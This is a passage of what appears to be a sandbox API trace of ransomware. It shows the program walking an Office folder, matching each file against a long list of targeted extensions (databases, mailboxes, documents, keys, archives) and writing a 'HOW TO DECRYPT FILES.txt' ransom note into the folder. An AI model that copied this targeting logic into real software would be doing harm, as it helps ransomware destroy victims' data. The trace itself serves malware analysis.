(pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.nd") returned 0 [0064.834] lstrlenA (lpString="*.nd") returned 4 [0064.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.tlg") returned 0 [0064.834] lstrlenA (lpString="*.tlg") returned 5 [0064.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.lgb") returned 0 [0064.834] lstrlenA (lpString="*.lgb") returned 5 [0064.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.mov") returned 0 [0064.834] lstrlenA (lpString="*.mov") returned 5 [0064.834] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.xdw") returned 0 [0064.835] lstrlenA (lpString="*.xdw") returned 5 [0064.835] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.ods") returned 0 [0064.835] lstrlenA (lpString="*.ods") returned 5 [0064.835] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.wav") returned 0 [0064.835] lstrlenA (lpString="*.wav") returned 5 [0064.835] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.mp3") returned 0 [0064.835] lstrlenA (lpString="*.mp3") returned 5 [0064.835] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.aiff") returned 0 [0064.835] lstrlenA (lpString="*.aiff") returned 6 [0064.835] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.flac") returned 0 [0064.835] lstrlenA (lpString="*.flac") returned 6 [0064.835] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.m4a") returned 0 [0064.835] lstrlenA (lpString="*.m4a") returned 5 [0064.835] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF", pszSpec="*.csv") returned 0 [0064.835] lstrlenA (lpString="*.csv") returned 5 [0064.835] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58285d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa52f, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="macroprogress.gif", cAlternateFileName="MACROP~1.GIF")) returned 1 [0064.835] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.835] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="macroprogress.gif") returned -1 [0064.835] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="macroprogress.gif") returned -1 [0064.835] lstrcmpiA (lpString1="", lpString2="macroprogress.gif") returned -1 [0064.835] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF") returned="LAUNCH.GIF" [0064.836] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.836] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.836] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.836] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.836] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="macroprogress.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif" [0064.836] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.ems") returned 0 [0064.836] lstrlenA (lpString="*.ems") returned 5 [0064.836] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.db") returned 0 [0064.836] lstrlenA (lpString="*.db") returned 4 [0064.836] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.dbf") returned 0 [0064.836] lstrlenA (lpString="*.dbf") returned 5 [0064.836] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.myox") returned 0 [0064.836] lstrlenA (lpString="*.myox") returned 6 [0064.836] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.myo") returned 0 [0064.836] lstrlenA (lpString="*.myo") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.qbw") returned 0 [0064.837] lstrlenA (lpString="*.qbw") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.qbb") returned 0 [0064.837] lstrlenA (lpString="*.qbb") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.qbm") returned 0 [0064.837] lstrlenA (lpString="*.qbm") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.qbo") returned 0 [0064.837] lstrlenA (lpString="*.qbo") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.qbx") returned 0 [0064.837] lstrlenA (lpString="*.qbx") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.qba") returned 0 [0064.837] lstrlenA (lpString="*.qba") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.qby") returned 0 [0064.837] lstrlenA (lpString="*.qby") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.qbj") returned 0 [0064.837] lstrlenA (lpString="*.qbj") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.ofx") returned 0 [0064.837] lstrlenA (lpString="*.ofx") returned 5 [0064.837] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.qif") returned 0 [0064.838] lstrlenA (lpString="*.qif") returned 5 [0064.838] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.mye") returned 0 [0064.838] lstrlenA (lpString="*.mye") returned 5 [0064.838] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.mbox") returned 0 [0064.838] lstrlenA (lpString="*.mbox") returned 6 [0064.838] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.eml") returned 0 [0064.838] lstrlenA (lpString="*.eml") returned 5 [0064.838] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.pst") returned 0 [0064.838] lstrlenA (lpString="*.pst") returned 5 [0064.838] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.ost") returned 0 [0064.838] lstrlenA (lpString="*.ost") returned 5 [0064.838] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.idx") returned 0 [0064.838] lstrlenA (lpString="*.idx") returned 5 [0064.838] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.dbx") returned 0 [0064.838] lstrlenA (lpString="*.dbx") returned 5 [0064.838] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.sql") returned 0 [0064.838] lstrlenA (lpString="*.sql") returned 5 [0064.839] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.mdb") returned 0 [0064.839] lstrlenA (lpString="*.mdb") returned 5 [0064.839] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.fdb") returned 0 [0064.839] lstrlenA (lpString="*.fdb") returned 5 [0064.839] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.wab") returned 0 [0064.839] lstrlenA (lpString="*.wab") returned 5 [0064.839] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.dat") returned 0 [0064.839] lstrlenA (lpString="*.dat") returned 5 [0064.839] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.txt") returned 0 [0064.839] lstrlenA (lpString="*.txt") returned 5 [0064.839] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.jpeg") returned 0 [0064.839] lstrlenA (lpString="*.jpeg") returned 6 [0064.839] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.jpg") returned 0 [0064.839] lstrlenA (lpString="*.jpg") returned 5 [0064.839] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.png") returned 0 [0064.839] lstrlenA (lpString="*.png") returned 5 [0064.839] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.php") returned 0 [0064.840] lstrlenA (lpString="*.php") returned 5 [0064.840] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.cs") returned 0 [0064.840] lstrlenA (lpString="*.cs") returned 4 [0064.840] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.cpp") returned 0 [0064.840] lstrlenA (lpString="*.cpp") returned 5 [0064.840] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.rar") returned 0 [0064.840] lstrlenA (lpString="*.rar") returned 5 [0064.840] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.zip") returned 0 [0064.840] lstrlenA (lpString="*.zip") returned 5 [0064.840] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.html") returned 0 [0064.840] lstrlenA (lpString="*.html") returned 6 [0064.840] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.htm") returned 0 [0064.840] lstrlenA (lpString="*.htm") returned 5 [0064.840] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.xlsx") returned 0 [0064.840] lstrlenA (lpString="*.xlsx") returned 6 [0064.840] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.xls") returned 0 [0064.840] lstrlenA (lpString="*.xls") returned 5 [0064.841] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.mp4") returned 0 [0064.841] lstrlenA (lpString="*.mp4") returned 5 [0064.841] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.ppt") returned 0 [0064.841] lstrlenA (lpString="*.ppt") returned 5 [0064.841] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.pptx") returned 0 [0064.841] lstrlenA (lpString="*.pptx") returned 6 [0064.841] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.doc") returned 0 [0064.841] lstrlenA (lpString="*.doc") returned 5 [0064.841] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.dot") returned 0 [0064.841] lstrlenA (lpString="*.dot") returned 5 [0064.841] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.docx") returned 0 [0064.841] lstrlenA (lpString="*.docx") returned 6 [0064.841] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.7z") returned 0 [0064.841] lstrlenA (lpString="*.7z") returned 4 [0064.841] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.tar") returned 0 [0064.841] lstrlenA (lpString="*.tar") returned 5 [0064.841] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.bz2") returned 0 [0064.842] lstrlenA (lpString="*.bz2") returned 5 [0064.842] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.gz") returned 0 [0064.842] lstrlenA (lpString="*.gz") returned 4 [0064.842] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.mkv") returned 0 [0064.842] lstrlenA (lpString="*.mkv") returned 5 [0064.842] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.eml") returned 0 [0064.842] lstrlenA (lpString="*.eml") returned 5 [0064.842] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.msg") returned 0 [0064.842] lstrlenA (lpString="*.msg") returned 5 [0064.842] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.edb") returned 0 [0064.842] lstrlenA (lpString="*.edb") returned 5 [0064.842] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.accdb") returned 0 [0064.842] lstrlenA (lpString="*.accdb") returned 7 [0064.842] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.odb") returned 0 [0064.842] lstrlenA (lpString="*.odb") returned 5 [0064.842] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.java") returned 0 [0064.842] lstrlenA (lpString="*.java") returned 6 [0064.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.asm") returned 0 [0064.843] lstrlenA (lpString="*.asm") returned 5 [0064.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.pfx") returned 0 [0064.843] lstrlenA (lpString="*.pfx") returned 5 [0064.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.pem") returned 0 [0064.843] lstrlenA (lpString="*.pem") returned 5 [0064.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.p12") returned 0 [0064.843] lstrlenA (lpString="*.p12") returned 5 [0064.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.gpg") returned 0 [0064.843] lstrlenA (lpString="*.gpg") returned 5 [0064.843] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif", pszSpec="*.vsd") returned 0 [0064.843] lstrlenA (lpString="*.vsd") returned 5 [0064.843] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21e5, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="PublicFunctions.js", cAlternateFileName="PUBLIC~1.JS")) returned 1 [0064.843] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.843] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PublicFunctions.js") returned -1 [0064.843] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PublicFunctions.js") returned -1 [0064.844] lstrcmpiA (lpString1="", lpString2="PublicFunctions.js") returned -1 [0064.844] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif") returned="macroprogress.gif" [0064.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.844] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.844] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.844] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.844] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="PublicFunctions.js" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js" [0064.844] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_alignleft.gif", cAlternateFileName="RTF_AL~1.GIF")) returned 1 [0064.844] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.844] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_alignleft.gif") returned -1 [0064.844] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_alignleft.gif") returned -1 [0064.844] lstrcmpiA (lpString1="", lpString2="rtf_alignleft.gif") returned -1 [0064.844] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js") returned="PublicFunctions.js" [0064.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.845] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.845] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.845] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.845] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_alignleft.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif" [0064.845] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_alignright.gif", cAlternateFileName="RTF_AL~2.GIF")) returned 1 [0064.845] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.845] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_alignright.gif") returned -1 [0064.845] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_alignright.gif") returned -1 [0064.845] lstrcmpiA (lpString1="", lpString2="rtf_alignright.gif") returned -1 [0064.845] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif") returned="rtf_alignleft.gif" [0064.845] lstrcpyA (in: 